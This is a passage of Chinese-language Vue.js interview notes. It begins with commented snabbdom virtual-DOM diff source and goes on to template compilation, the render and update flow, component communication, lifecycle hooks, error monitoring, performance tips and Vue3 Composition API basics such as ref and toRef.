      const init = data.hook?.init;
      if (isDef(init)) {
        init(vnode);
        data = vnode.data;
      }
    }
    let children = vnode.children, sel = vnode.sel;
    if (sel === '!') {
      if (isUndef(vnode.text)) {
        vnode.text = '';
      }
      vnode.elm = api.createComment(vnode.text!);
    } else if (sel !== undefined) {
      // Parse selector
      const hashIdx = sel.indexOf('#');
      const dotIdx = sel.indexOf('.', hashIdx);
      const hash = hashIdx > 0 ? hashIdx : sel.length;
      const dot = dotIdx > 0 ? dotIdx : sel.length;
      const tag = hashIdx !== -1 || dotIdx !== -1 ? sel.slice(0, Math.min(hash, dot)) : sel;
      const elm = vnode.elm = isDef(data) && isDef(i = data.ns)
        ? api.createElementNS(i, tag)
        : api.createElement(tag);
      if (hash < dot) elm.setAttribute('id', sel.slice(hash + 1, dot));
      if (dotIdx > 0) elm.setAttribute('class', sel.slice(dot + 1).replace(/\./g, ' '));
      for (i = 0; i < cbs.create.length; ++i) cbs.create[i](emptyNode, vnode);
      if (is.array(children)) {
        for (i = 0; i < children.length; ++i) {
          const ch = children[i];
          if (ch != null) {
            api.appendChild(elm, createElm(ch as VNode, insertedVnodeQueue));
          }
        }
      } else if (is.primitive(vnode.text)) {
        api.appendChild(elm, api.createTextNode(vnode.text));
      }
      const hook = vnode.data!.hook;
      if (isDef(hook)) {
        hook.create?.(emptyNode, vnode);
        if (hook.insert) {
          insertedVnodeQueue.push(vnode);
        }
      }
    } else {
      vnode.elm = api.createTextNode(vnode.text!);
    }
    return vnode.elm;
  }

  function addVnodes (
    parentElm: Node,
    before: Node | null,
    vnodes: VNode[],
    startIdx: number,
    endIdx: number,
    insertedVnodeQueue: VNodeQueue
  ) {
    for (; startIdx <= endIdx; ++startIdx) {
      const ch = vnodes[startIdx];
      if (ch != null) {
        api.insertBefore(parentElm, createElm(ch, insertedVnodeQueue), before);
      }
    }
  }

  function invokeDestroyHook (vnode: VNode) {
    const data = vnode.data;
    if (data !== undefined) {
      data?.hook?.destroy?.(vnode);
      for (let i = 0; i < cbs.destroy.length; ++i) cbs.destroy[i](vnode);
      if (vnode.children !== undefined) {
        for (let j = 0; j < vnode.children.length; ++j) {
          const child = vnode.children[j];
          if (child != null && typeof child !== "string") {
            invokeDestroyHook(child);
          }
        }
      }
    }
  }

  function removeVnodes (parentElm: Node,
    vnodes: VNode[],
    startIdx: number,
    endIdx: number): void {
    for (; startIdx <= endIdx; ++startIdx) {
      let listeners: number, rm: () => void, ch = vnodes[startIdx];
      if (ch != null) {
        if (isDef(ch.sel)) {
          invokeDestroyHook(ch); // hook 操作

          // 移除 DOM 元素
          listeners = cbs.remove.length + 1;
          rm = createRmCb(ch.elm!, listeners);
          for (let i = 0; i < cbs.remove.length; ++i) cbs.remove[i](ch, rm);
          const removeHook = ch?.data?.hook?.remove;
          if (isDef(removeHook)) {
            removeHook(ch, rm);
          } else {
            rm();
          }
        } else { // Text node
          api.removeChild(parentElm, ch.elm!);
        }
      }
    }
  }

  // diff算法核心
  function updateChildren (parentElm: Node,
    oldCh: VNode[],
    newCh: VNode[],
    insertedVnodeQueue: VNodeQueue) {
    let oldStartIdx = 0, newStartIdx = 0;
    let oldEndIdx = oldCh.length - 1;
    let oldStartVnode = oldCh[0];
    let oldEndVnode = oldCh[oldEndIdx];
    let newEndIdx = newCh.length - 1;
    let newStartVnode = newCh[0];
    let newEndVnode = newCh[newEndIdx];
    let oldKeyToIdx: KeyToIndexMap | undefined;
    let idxInOld: number;
    let elmToMove: VNode;
    let before: any;

    while (oldStartIdx <= oldEndIdx && newStartIdx <= newEndIdx) {
      if (oldStartVnode == null) {
        oldStartVnode = oldCh[++oldStartIdx]; // Vnode might have been moved left
      } else if (oldEndVnode == null) {
        oldEndVnode = oldCh[--oldEndIdx];
      } else if (newStartVnode == null) {
        newStartVnode = newCh[++newStartIdx];
      } else if (newEndVnode == null) {
        newEndVnode = newCh[--newEndIdx];

      // 开始和开始对比--头头
      } else if (sameVnode(oldStartVnode, newStartVnode)) {
        patchVnode(oldStartVnode, newStartVnode, insertedVnodeQueue);
        oldStartVnode = oldCh[++oldStartIdx];
        newStartVnode = newCh[++newStartIdx];
      
      // 结束和结束对比--尾尾
      } else if (sameVnode(oldEndVnode, newEndVnode)) {
        patchVnode(oldEndVnode, newEndVnode, insertedVnodeQueue);
        oldEndVnode = oldCh[--oldEndIdx];
        newEndVnode = newCh[--newEndIdx];

      // 开始和结束对比--头尾
      } else if (sameVnode(oldStartVnode, newEndVnode)) { // Vnode moved right
        patchVnode(oldStartVnode, newEndVnode, insertedVnodeQueue);
        api.insertBefore(parentElm, oldStartVnode.elm!, api.nextSibling(oldEndVnode.elm!));
        oldStartVnode = oldCh[++oldStartIdx];
        newEndVnode = newCh[--newEndIdx];

      // 结束和开始对比--尾头
      } else if (sameVnode(oldEndVnode, newStartVnode)) { // Vnode moved left
        patchVnode(oldEndVnode, newStartVnode, insertedVnodeQueue);
        api.insertBefore(parentElm, oldEndVnode.elm!, oldStartVnode.elm!);
        oldEndVnode = oldCh[--oldEndIdx];
        newStartVnode = newCh[++newStartIdx];

      // 以上四个都未命中
      } else {
        if (oldKeyToIdx === undefined) {
          oldKeyToIdx = createKeyToOldIdx(oldCh, oldStartIdx, oldEndIdx);
        }
        // 拿新节点 key ,能否对应上 oldCh 中的某个节点的 key
        idxInOld = oldKeyToIdx[newStartVnode.key as string];
  
        // 没对应上
        if (isUndef(idxInOld)) { // New element
          api.insertBefore(parentElm, createElm(newStartVnode, insertedVnodeQueue), oldStartVnode.elm!);
          newStartVnode = newCh[++newStartIdx];
        
        // 对应上了
        } else {
          // 对应上 key 的节点
          elmToMove = oldCh[idxInOld];

          // sel 是否相等(sameVnode 的条件)
          if (elmToMove.sel !== newStartVnode.sel) {
            // New element
            api.insertBefore(parentElm, createElm(newStartVnode, insertedVnodeQueue), oldStartVnode.elm!);
          
          // sel 相等,key 相等
          } else {
            patchVnode(elmToMove, newStartVnode, insertedVnodeQueue);
            oldCh[idxInOld] = undefined as any;
            api.insertBefore(parentElm, elmToMove.elm!, oldStartVnode.elm!);
          }
          newStartVnode = newCh[++newStartIdx];
        }
      }
    }
    if (oldStartIdx <= oldEndIdx || newStartIdx <= newEndIdx) {
      if (oldStartIdx > oldEndIdx) {
        before = newCh[newEndIdx + 1] == null ? null : newCh[newEndIdx + 1].elm;
        addVnodes(parentElm, before, newCh, newStartIdx, newEndIdx, insertedVnodeQueue);
      } else {
        removeVnodes(parentElm, oldCh, oldStartIdx, oldEndIdx);
      }
    }
  }

  function patchVnode (oldVnode: VNode, vnode: VNode, insertedVnodeQueue: VNodeQueue) {
    // 执行 prepatch hook
    const hook = vnode.data?.hook;
    hook?.prepatch?.(oldVnode, vnode);

    // 设置 vnode.elem
    const elm = vnode.elm = oldVnode.elm!;
  
    // 旧 children
    let oldCh = oldVnode.children as VNode[];
    // 新 children
    let ch = vnode.children as VNode[];

    if (oldVnode === vnode) return;
  
    // hook 相关
    if (vnode.data !== undefined) {
      for (let i = 0; i < cbs.update.length; ++i) cbs.update[i](oldVnode, vnode);
      vnode.data.hook?.update?.(oldVnode, vnode);
    }

    // vnode.text === undefined (vnode.children 一般有值)
    if (isUndef(vnode.text)) {
      // 新旧都有 children
      if (isDef(oldCh) && isDef(ch)) {
        if (oldCh !== ch) updateChildren(elm, oldCh, ch, insertedVnodeQueue);
      // 新 children 有,旧 children 无 (旧 text 有)
      } else if (isDef(ch)) {
        // 清空 text
        if (isDef(oldVnode.text)) api.setTextContent(elm, '');
        // 添加 children
        addVnodes(elm, null, ch, 0, ch.length - 1, insertedVnodeQueue);
      // 旧 child 有,新 child 无
      } else if (isDef(oldCh)) {
        // 移除 children
        removeVnodes(elm, oldCh, 0, oldCh.length - 1);
      // 旧 text 有
      } else if (isDef(oldVnode.text)) {
        api.setTextContent(elm, '');
      }

    // else : vnode.text !== undefined (vnode.children 无值)
    } else if (oldVnode.text !== vnode.text) {
      // 移除旧 children
      if (isDef(oldCh)) {
        removeVnodes(elm, oldCh, 0, oldCh.length - 1);
      }
      // 设置新 text
      api.setTextContent(elm, vnode.text!);
    }
    hook?.postpatch?.(oldVnode, vnode);
  }

  return function patch (oldVnode: VNode | Element, vnode: VNode): VNode {
    let i: number, elm: Node, parent: Node;
    const insertedVnodeQueue: VNodeQueue = [];
    // 执行 pre hook
    for (i = 0; i < cbs.pre.length; ++i) cbs.pre[i]();

    // 第一个参数不是 vnode
    if (!isVnode(oldVnode)) {
      // 创建一个空的 vnode ,关联到这个 DOM 元素
      oldVnode = emptyNodeAt(oldVnode);
    }

    // 相同的 vnode(key 和 sel 都相等)
    if (sameVnode(oldVnode, vnode)) {
      // vnode 对比
      patchVnode(oldVnode, vnode, insertedVnodeQueue);
    
    // 不同的 vnode ,直接删掉重建
    } else {
      elm = oldVnode.elm!;
      parent = api.parentNode(elm);

      // 重建
      createElm(vnode, insertedVnodeQueue);

      if (parent !== null) {
        api.insertBefore(parent, vnode.elm!, api.nextSibling(elm));
        removeVnodes(parent, [oldVnode], 0, 0);
      }
    }

    for (i = 0; i < insertedVnodeQueue.length; ++i) {
      insertedVnodeQueue[i].data!.hook!.insert!(insertedVnodeQueue[i]);
    }
    for (i = 0; i < cbs.post.length; ++i) cbs.post[i]();
    return vnode;
  };
}

# 模板编译

前置知识

  • 模板是vue开发中最常用的,即与使用相关联的原理
  • 它不是HTML,有指令、插值、JS表达式,能实现循环、判断,因此模板一定转为JS代码,即模板编译
  • 面试不会直接问,但会通过组件渲染和更新过程考察

模板编译

  • vue template compiler将模板编译为render函数
  • 执行render函数,生成vnode
  • 基于vnode在执行patchdiff
  • 使用webpack vue loader,会在开发环境下编译模板

with语法

  • 改变{}内自由变量的查找规则,当做obj属性来查找
  • 如果找不到匹配的obj属性,就会报错
  • with要慎用,它打破了作用域规则,易读性变差

vue组件中使用render代替template

// 执行 node index.js

const compiler = require('vue-template-compiler')

// 插值
const template = `<p>{{message}}</p>`
with(this){return _c('p', [_v(_s(message))])}
// this就是vm的实例, message等变量会从vm上读取,触发getter
// _c => createElement 也就是h函数 => 返回vnode
// _v => createTextVNode 
// _s => toString 
// 也就是这样 with(this){return createElement('p',[createTextVNode(toString(message))])}

// h -> vnode
// createElement -> vnode

// 表达式
const template = `<p>{{flag ? message : 'no message found'}}</p>`
// with(this){return _c('p',[_v(_s(flag ? message : 'no message found'))])}

// 属性和动态属性
const template = `
    <div id="div1" class="container">
        <img :src="imgUrl"/>
    </div>
`
with(this){return _c('div',
     {staticClass:"container",attrs:{"id":"div1"}},
     [
         _c('img',{attrs:{"src":imgUrl}})])}

// 条件
const template = `
    <div>
        <p v-if="flag === 'a'">A</p>
        <p v-else>B</p>
    </div>
`
with(this){return _c('div',[(flag === 'a')?_c('p',[_v("A")]):_c('p',[_v("B")])])}

// 循环
const template = `
    <ul>
        <li v-for="item in list" :key="item.id">{{item.title}}</li>
    </ul>
`
with(this){return _c('ul',_l((list),function(item){return _c('li',{key:item.id},[_v(_s(item.title))])}),0)}

// 事件
const template = `
    <button @click="clickHandler">submit</button>
`
with(this){return _c('button',{on:{"click":clickHandler}},[_v("submit")])}

// v-model
const template = `<input type="text" v-model="name">`
// 主要看 input 事件
with(this){return _c('input',{directives:[{name:"model",rawName:"v-model",value:(name),expression:"name"}],attrs:{"type":"text"},domProps:{"value":(name)},on:{"input":function($event){if($event.target.composing)return;name=$event.target.value}}})}

// render 函数
// 返回 vnode
// patch

// 编译
const res = compiler.compile(template)
console.log(res.render)

// ---------------分割线--------------

// 从 vue 源码中找到缩写函数的含义
function installRenderHelpers (target) {
    target._o = markOnce;
    target._n = toNumber;
    target._s = toString;
    target._l = renderList;
    target._t = renderSlot;
    target._q = looseEqual;
    target._i = looseIndexOf;
    target._m = renderStatic;
    target._f = resolveFilter;
    target._k = checkKeyCodes;
    target._b = bindObjectProps;
    target._v = createTextVNode;
    target._e = createEmptyVNode;
    target._u = resolveScopedSlots;
    target._g = bindObjectListeners;
    target._d = bindDynamicKeys;
    target._p = prependModifier;
}

# Vue组件渲染过程

前言

  • 一个组件渲染到页面,修改data触发更新(数据驱动视图)
  • 其背后原理是什么,需要掌握哪些点
  • 考察对流程了解的全面程度

回顾三大核心知识点

  • 响应式:监听data属性gettersetter(包括数组)
  • 模板编译:模板到render函数,再到vnode
  • vdom:两种用法
    • patch(elem,vnode) 首次渲染vnodecontainer
    • patch(vnode、newVnode) 新的vnode取更新旧的vnode
  • 搞定这三点核心原理,vue原理不是问题

组件渲染更新过程

  • 1. 初次渲染过程
    • 解析模板为render函数(或在开发环境已经完成vue-loader
    • 触发响应式,监听data属性gettersetter
    • 执行render函数(执行render函数过程中,会获取data的属性触发getter),生成vnode,在执行patch(elem,vnode) elem组件对应的dom节点
      • const template = <p></p>
      • 编译为render函数 with(this){return _c('p', [_v(_s(message))])}
      • this就是vm的实例, message等变量会从vm上读取,触发getter进行依赖收集
      export default {
          data() {
              return {
                  message: 'hello' // render函数执行过程中会获取message变量值,触发getter
              }
          }
      }
      
  • 2. 更新过程
    • 修改data,触发setter(此前在getter中已被监听)
    • 重新执行render函数,生成newVnode
    • 在调用patch(oldVnode, newVnode)算出最小差异,进行更新
  • 3. 完成流程图

异步渲染

  • 汇总data的修改,一次更新视图
  • 减少DOM操作次数,提高性能

methods: {
    addItem() {
        this.list.push(`${Date.now()}`)
        this.list.push(`${Date.now()}`)
        this.list.push(`${Date.now()}`)

        // 1.页面渲染是异步的,$nextTick待渲染完在回调
        // 2.页面渲染时会将data的修改做整合,多次data修改也只会渲染一次
        this.$nextTick(()=>{
            const ulElem = this.$refs.ul
            console.log(ulElem.childNotes.length)
        })
    }
}

总结

  • 渲染和响应式的关系
  • 渲染和模板编译的关系
  • 渲染和vdom的关系

# Vue组件之间通信方式有哪些

Vue 组件间通信是面试常考的知识点之一,这题有点类似于开放题,你回答出越多方法当然越加分,表明你对 Vue 掌握的越熟练。Vue 组件间通信只要指以下 3 类通信父子组件通信隔代组件通信兄弟组件通信,下面我们分别介绍每种通信方式且会说明此种方法可适用于哪类组件间通信

组件传参的各种方式

组件通信常用方式有以下几种

  • props / $emit 适用 父子组件通信
    • 父组件向子组件传递数据是通过 prop 传递的,子组件传递数据给父组件是通过$emit 触发事件来做到的
  • ref$parent / $children(vue3废弃) 适用 父子组件通信
    • ref:如果在普通的 DOM 元素上使用,引用指向的就是 DOM 元素;如果用在子组件上,引用就指向组件实例
    • $parent / $children:访问访问父组件的属性或方法 / 访问子组件的属性或方法
  • EventBus ($emit / $on) 适用于 父子、隔代、兄弟组件通信
    • 这种方法通过一个空的 Vue 实例作为中央事件总线(事件中心),用它来触发事件和监听事件,从而实现任何组件间的通信,包括父子、隔代、兄弟组件
  • $attrs / $listeners(vue3废弃) 适用于 隔代组件通信
    • $attrs:包含了父作用域中不被 prop 所识别 (且获取) 的特性绑定 ( classstyle 除外 )。当一个组件没有声明任何 prop 时,这里会包含所有父作用域的绑定 ( classstyle 除外 ),并且可以通过 v-bind="$attrs" 传入内部组件。通常配合 inheritAttrs 选项一起使用,多余的属性不会被解析到标签上
    • $listeners:包含了父作用域中的 (不含 .native 修饰器的) v-on 事件监听器。它可以通过 v-on="$listeners" 传入内部组件
  • provide / inject 适用于 隔代组件通信
    • 祖先组件中通过 provider 来提供变量,然后在子孙组件中通过 inject 来注入变量。 provide / inject API 主要解决了跨级组件间的通信问题,不过它的使用场景,主要是子组件获取上级组件的状态,跨级组件间建立了一种主动提供与依赖注入的关系
  • $root 适用于 隔代组件通信 访问根组件中的属性或方法,是根组件,不是父组件。$root只对根组件有用
  • Vuex 适用于 父子、隔代、兄弟组件通信
    • Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。每一个 Vuex 应用的核心就是 store(仓库)。“store” 基本上就是一个容器,它包含着你的应用中大部分的状态 ( state )
    • Vuex 的状态存储是响应式的。当 Vue 组件从 store 中读取状态的时候,若 store 中的状态发生变化,那么相应的组件也会相应地得到高效更新。
    • 改变 store 中的状态的唯一途径就是显式地提交 (commit) mutation。这样使得我们可以方便地跟踪每一个状态的变化。

根据组件之间关系讨论组件通信最为清晰有效

  • 父子组件:props/$emit/$parent/ref
  • 兄弟组件:$parent/eventbus/vuex
  • 跨层级关系:eventbus/vuex/provide+inject/$attrs + $listeners/$root

# Vue的生命周期方法有哪些

  1. Vue 实例有一个完整的生命周期,也就是从开始创建初始化数据编译模版挂载Dom -> 渲染更新 -> 渲染卸载等一系列过程,我们称这是Vue的生命周期
  2. Vue生命周期总共分为8个阶段创建前/后载入前/后更新前/后销毁前/后

beforeCreate => created => beforeMount => Mounted => beforeUpdate => updated => beforeDestroy => destroyedkeep-alive下:activated deactivated

生命周期vue2 生命周期vue3 描述
beforeCreate beforeCreate 在实例初始化之后,数据观测(data observer) 之前被调用。
created created 实例已经创建完成之后被调用。在这一步,实例已完成以下的配置:数据观测(data observer),属性和方法的运算, watch/event 事件回调。这里没有$el
beforeMount beforeMount 在挂载开始之前被调用:相关的 render 函数首次被调用
mounted mounted el 被新创建的 vm.$el 替换,并挂载到实例上去之后调用该钩子
beforeUpdate beforeUpdate 组件数据更新之前调用,发生在虚拟 DOM 打补丁之前
updated updated 由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子
beforeDestroy beforeUnmount 实例销毁之前调用。在这一步,实例仍然完全可用
destroyed unmounted 实例销毁后调用。调用后, Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。

其他几个生命周期

生命周期vue2 生命周期vue3 描述
activated activated keep-alive专属,组件被激活时调用
deactivated deactivated keep-alive专属,组件被销毁时调用
errorCaptured errorCaptured 捕获一个来自子孙组件的错误时被调用
- renderTracked 调试钩子,响应式依赖被收集时调用
- renderTriggered 调试钩子,响应式依赖被触发时调用
- serverPrefetch ssr only,组件实例在服务器上被渲染前调用
  1. 要掌握每个生命周期内部可以做什么事
  • beforeCreate 初始化vue实例,进行数据观测。执行时组件实例还未创建,通常用于插件开发中执行一些初始化任务
  • created 组件初始化完毕,可以访问各种数据,获取接口数据等
  • beforeMount 此阶段vm.el虽已完成DOM初始化,但并未挂载在el选项上
  • mounted 实例已经挂载完成,可以进行一些DOM操作
  • beforeUpdate 更新前,可用于获取更新前各种状态。此时view层还未更新,可用于获取更新前各种状态。可以在这个钩子中进一步地更改状态,这不会触发附加的重渲染过程。
  • updated 完成view层的更新,更新后,所有状态已是最新。可以执行依赖于 DOM 的操作。然而在大多数情况下,你应该避免在此期间更改状态,因为这可能会导致更新无限循环。 该钩子在服务器端渲染期间不被调用。
  • destroyed 可以执行一些优化操作,清空定时器,解除绑定事件
  • vue3 beforeunmount:实例被销毁前调用,可用于一些定时器或订阅的取消
  • vue3 unmounted:销毁一个实例。可清理它与其它实例的连接,解绑它的全部指令及事件监听器

<div id="app">{{name}}</div>
<script>
    const vm = new Vue({
        data(){
            return {name:'poetries'}
        },
        el: '#app',
        beforeCreate(){
            // 数据观测(data observer) 和 event/watcher 事件配置之前被调用。
            console.log('beforeCreate');
        },
        created(){
            // 属性和方法的运算, watch/event 事件回调。这里没有$el
            console.log('created')
        },
        beforeMount(){
            // 相关的 render 函数首次被调用。
            console.log('beforeMount')
        },
        mounted(){
            // 被新创建的 vm.$el 替换
            console.log('mounted')
        },
        beforeUpdate(){
            //  数据更新时调用,发生在虚拟 DOM 重新渲染和打补丁之前。
            console.log('beforeUpdate')
        },
        updated(){
            //  由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子。
            console.log('updated')
        },
        beforeDestroy(){
            // 实例销毁之前调用 实例仍然完全可用
            console.log('beforeDestroy')
        },
        destroyed(){ 
            // 所有东西都会解绑定,所有的事件监听器会被移除
            console.log('destroyed')
        }
    });
    setTimeout(() => {
        vm.name = 'poetry';
        setTimeout(() => {
            vm.$destroy()  
        }, 1000);
    }, 1000);
</script>
  1. 组合式API生命周期钩子

你可以通过在生命周期钩子前面加上 “on” 来访问组件的生命周期钩子。

下表包含如何在 setup() 内部调用生命周期钩子:

选项式 API Hook inside setup
beforeCreate 不需要*
created 不需要*
beforeMount onBeforeMount
mounted onMounted
beforeUpdate onBeforeUpdate
updated onUpdated
beforeUnmount onBeforeUnmount
unmounted onUnmounted
errorCaptured onErrorCaptured
renderTracked onRenderTracked
renderTriggered onRenderTriggered

因为 setup 是围绕 beforeCreatecreated 生命周期钩子运行的,所以不需要显式地定义它们。换句话说,在这些钩子中编写的任何代码都应该直接在 setup 函数中编写

export default {
  setup() {
    // mounted
    onMounted(() => {
      console.log('Component is mounted!')
    })
  }
}

setupcreated谁先执行?

  • beforeCreate:组件被创建出来,组件的methodsdata还没初始化好
  • setup:在beforeCreatecreated之间执行
  • created:组件被创建出来,组件的methodsdata已经初始化好了

由于在执行setup的时候,created还没有创建好,所以在setup函数内我们是无法使用datamethods的。所以vue为了让我们避免错误的使用,直接将setup函数内的this执行指向undefined

import { ref } from "vue"
export default {
  // setup函数是组合api的入口函数,注意在组合api中定义的变量或者方法,要在template响应式需要return{}出去
  setup(){
    let count = ref(1)
    function myFn(){
      count.value +=1
    }
    return {count,myFn}
  },
  
}
  1. 其他问题
  • 什么是vue生命周期? Vue 实例从创建到销毁的过程,就是生命周期。从开始创建、初始化数据、编译模板、挂载Dom→渲染、更新→渲染、销毁等一系列过程,称之为 Vue 的生命周期。
  • vue生命周期的作用是什么? 它的生命周期中有多个事件钩子,让我们在控制整个Vue实例的过程时更容易形成好的逻辑。
  • vue生命周期总共有几个阶段? 它可以总共分为8个阶段:创建前/后、载入前/后、更新前/后、销毁前/销毁后。
  • 第一次页面加载会触发哪几个钩子? 会触发下面这几个beforeCreatecreatedbeforeMountmounted
  • 你的接口请求一般放在哪个生命周期中? 接口请求一般放在mounted中,但需要注意的是服务端渲染时不支持mounted,需要放到created
  • DOM 渲染在哪个周期中就已经完成?mounted中,
    • 注意 mounted 不会承诺所有的子组件也都一起被挂载。如果你希望等到整个视图都渲染完毕,可以用 vm.$nextTick 替换掉 mounted
      mounted: function () {
        this.$nextTick(function () {
            // Code that will run only after the
            // entire view has been rendered
        })
      }
    

# 如何统一监听Vue组件报错

  • window.onerror
    • 全局监听所有JS错误,包括异步错误
    • 但是它是JS级别的,识别不了Vue组件信息,Vue内部的错误还是用Vue来监听
    • 捕捉一些Vue监听不到的错误
  • errorCaptured生命周期
    • 监听所有下级组件的错误
    • 返回false会阻止向上传播到window.onerror
  • errorHandler配置
    • Vue全局错误监听,所有组件错误都会汇总到这里
    • errorCaptured返回false,不会传播到这里
    • window.onerrorerrorHandler互斥,window.onerror不会在被触发,这里都是全局错误监听了
  • 异步错误
    • 异步回调里的错误,errorHandler监听不到
    • 需要使用window.onerror
  • 总结
    • 实际工作中,三者结合使用
    • promisepromise没有被catch的报错,使用onunhandledrejection监听)和setTimeout异步,vue里面监听不了
    window.addEventListener("unhandledrejection", event => {
      // 捕获 Promise 没有 catch 的错误
      console.info('unhandledrejection----', event)
    })
    Promise.reject('错误信息')
    // .catch(e => console.info(e)) // catch 住了,就不会被 unhandledrejection 捕获
    
    • errorCaptured监听一些重要的、有风险组件的错误
    • window.onerrorerrorCaptured候补全局监听
// main.js
const app = createApp(App)

// 所有组件错误都会汇总到这里
// window.onerror和errorHandler互斥,window.onerror不会在被触发,这里都是全局错误监听了
// 阻止向window.onerror传播
app.config.errorHandler = (error, vm, info) => {
  console.info('errorHandler----', error, vm, info)
}
// 在app.vue最上层中监控全局组件
export default {
  mounted() {
    /**
     * msg:错误的信息
     * source:哪个文件
     * line:行
     * column:列
     * error:错误的对象
     */
    // 可以监听一切js的报错, try...catch 捕获的 error ,无法被 window.onerror 监听到
    window.onerror = function (msg, source, line, column, error) {
      console.info('window.onerror----', msg, source, line, column, error)
    }
    // 用addEventListener跟window.onerror效果一样,参数不一样
    // window.addEventListener('error', event => {
    //   console.info('window error', event)
    // })
  },
  errorCaptured: (errInfo, vm, info) => {
    console.info('errorCaptured----', errInfo, vm, info)
    // 返回false会阻止向上传播到window.onerror
    // 返回false会阻止传播到errorHandler
    // return false
  },
}
// ErrorDemo.vue
export default {
  name: 'ErrorDemo',
  data() {
    return {
      num: 100
    }
  },
  methods: {
    clickHandler() {
      try {
        this.num() // 报错
      } catch (ex) {
        console.error('catch.....', ex)
        // try...catch 捕获的 error ,无法被 window.onerror 监听到
      }

      this.num() // 报错
    }
  },
  mounted() {
    // 被errorCaptured捕获
    // throw new Error('mounted 报错')

    // 异步报错,errorHandler、errorCaptured监听不到,vue对异步报错监听不了,需要使用window.onerror来做
    // setTimeout(() => {
    //     throw new Error('setTimeout 报错')
    // }, 1000)
  },
}

# 在实际工作中,你对Vue做过哪些优化

  • v-if和v-show
    • v-if彻底销毁组件
    • v-show使用dispaly切换none
    • 实际工作中大部分情况下使用v-if就好,不要过渡优化
  • v-for使用key
    • key不要使用index
  • 使用computed缓存
  • keep-alive缓存组件
    • 频繁切换的组件 tabs
    • 不要乱用,缓存会占用更多的内存
  • 异步组件
    • 针对体积较大的组件,如编辑器、复杂表格、复杂表单
    • 拆包,需要时异步加载,不需要时不加载
    • 减少主包体积,首页会加载更快
    • 演示
    <!-- index.vue -->
    <template>
      <Child></Child>
    </template>
    <script>
    import { defineAsyncComponent } from 'vue'
    export default {
      name: 'AsyncComponent',
      components: {
        // child体积大 异步加载才有意义
        // defineAsyncComponent vue3的写法
        Child: defineAsyncComponent(() => import(/* webpackChunkName: "async-child" */ './Child.vue'))
      }
    }
    </>
    
    <!-- child.vue -->
    <template>
      <p>async component child</p>
    </template>
    <script>
    export default {
      name: 'Child',
    }
    </script>
    
  • 路由懒加载
    • 项目比较大,拆分路由,保证首页先加载
    • 演示
    const routes = [
      {
        path: '/',
        name: 'Home',
        component: Home // 直接加载
      },
      {
        path: '/about',
        name: 'About',
        // route level code-splitting
        // this generates a separate chunk (about.[hash].js) for this route
        // which is lazy-loaded when the route is visited.
        // 路由懒加载
        component: () => import(/* webpackChunkName: "about" */ '../views/About.vue')
      }
    ]
    
  • 服务端SSR
    • 可使用Nuxt.js
    • 按需优化,使用SSR成本比较高
  • 实际工作中你遇到积累的业务的优化经验也可以说

连环问:你在使用Vue过程中遇到过哪些坑

  • 内存泄露
    • 全局变量、全局事件、全局定时器没有销毁
    • 自定义事件没有销毁
  • Vue2响应式的缺陷(vue3不在有)
    • data后续新增属性用Vue.set
    • data删除属性用Vue.delete
    • Vue2并不支持数组下标的响应式。也就是说Vue2检测不到通过下标更改数组的值 arr[index] = value
  • 路由切换时scroll会重新回到顶部
    • 这是SPA应用的通病,不仅仅是vue
    • 如,列表页滚动到第二屏,点击详情页,再返回列表页,此时列表页组件会重新渲染回到了第一页
    • 解决方案
      • 在列表页缓存翻页过的数据和scrollTop的值
      • 当再次返回列表页时,渲染列表组件,执行scrollTo(xx)
      • 终极方案:MPA(多页面) + App WebView(可以打开多个页面不会销毁之前的)
  • 日常遇到问题记录总结,下次面试就能用到

# 5 Vue3

# vue3 对 vue2 有什么优势

  • 性能更好(编译优化、使用proxy等)
  • 体积更小
  • 更好的TS支持
  • 更好的代码组织
  • 更好的逻辑抽离
  • 更多新功能

# vue3 和 vue2 的生命周期有什么区别

Options API生命周期

  • beforeDestroy改为beforeUnmount
  • destroyed改为umounted
  • 其他沿用vue2生命周期

Composition API生命周期

import { onBeforeMount, onMounted, onBeforeUpdate, onUpdated, onBeforeUnmount, onUnmounted } from 'vue'

export default {
    name: 'LifeCycles',
    props: {
      msg: String
    },
    // setup等于 beforeCreate 和 created
    setup() {
        console.log('setup')

        onBeforeMount(() => {
            console.log('onBeforeMount')
        })
        onMounted(() => {
            console.log('onMounted')
        })
        onBeforeUpdate(() => {
            console.log('onBeforeUpdate')
        })
        onUpdated(() => {
            console.log('onUpdated')
        })
        onBeforeUnmount(() => {
            console.log('onBeforeUnmount')
        })
        onUnmounted(() => {
            console.log('onUnmounted')
        })
    },

    // 兼容vue2生命周期 options API和composition API生命周期二选一
    beforeCreate() {
        console.log('beforeCreate')
    },
    created() {
        console.log('created')
    },
    beforeMount() {
        console.log('beforeMount')
    },
    mounted() {
        console.log('mounted')
    },
    beforeUpdate() {
        console.log('beforeUpdate')
    },
    updated() {
        console.log('updated')
    },
    // beforeDestroy 改名
    beforeUnmount() {
        console.log('beforeUnmount')
    },
    // destroyed 改名
    unmounted() {
        console.log('unmounted')
    }
}

# 如何理解Composition API和Options API

composition API对比Option API

  • Composition API带来了什么
    • 更好的代码组织
    • 更好的逻辑复用
    • 更好的类型推导
  • Composition API和Options API如何选择
    • 不建议共用,会引起混乱
    • 小型项目、业务逻辑简单,用Option API成本更小一些
    • 中大型项目、逻辑复杂,用Composition API

# ref如何使用

ref

  • 生成值类型的响应式数据
  • 可用于模板和reactive
  • 通过.value修改值
<template>
    <p>ref demo {{ageRef}} {{state.name}}</p>
</template>

<script>
import { ref, reactive } from 'vue'

export default {
    name: 'Ref',
    setup() {
        const ageRef = ref(20) // 值类型 响应式
        const nameRef = ref('test')

        const state = reactive({
            name: nameRef
        })

        setTimeout(() => {
            console.log('ageRef', ageRef.value)

            ageRef.value = 25 // .value 修改值
            nameRef.value = 'testA'
        }, 1500);

        return {
            ageRef,
            state
        }
    }
}
</script>
<!-- ref获取dom节点 -->
<template>
    <p ref="elemRef">我是一行文字</p>
</template>

<script>
import { ref, onMounted } from 'vue'

export default {
    name: 'RefTemplate',
    setup() {
        const elemRef = ref(null)

        onMounted(() => {
            console.log('ref template', elemRef.value.innerHTML, elemRef.value)
        })

        return {
            elemRef
        }
    }
}
</script>

# toRef和toRefs如何使用和最佳方式

toRef

  • 针对一个响应式对象(reactive封装的)的一个属性,创建一个ref,具有响应式
  • 两者保持引用关系

toRefs

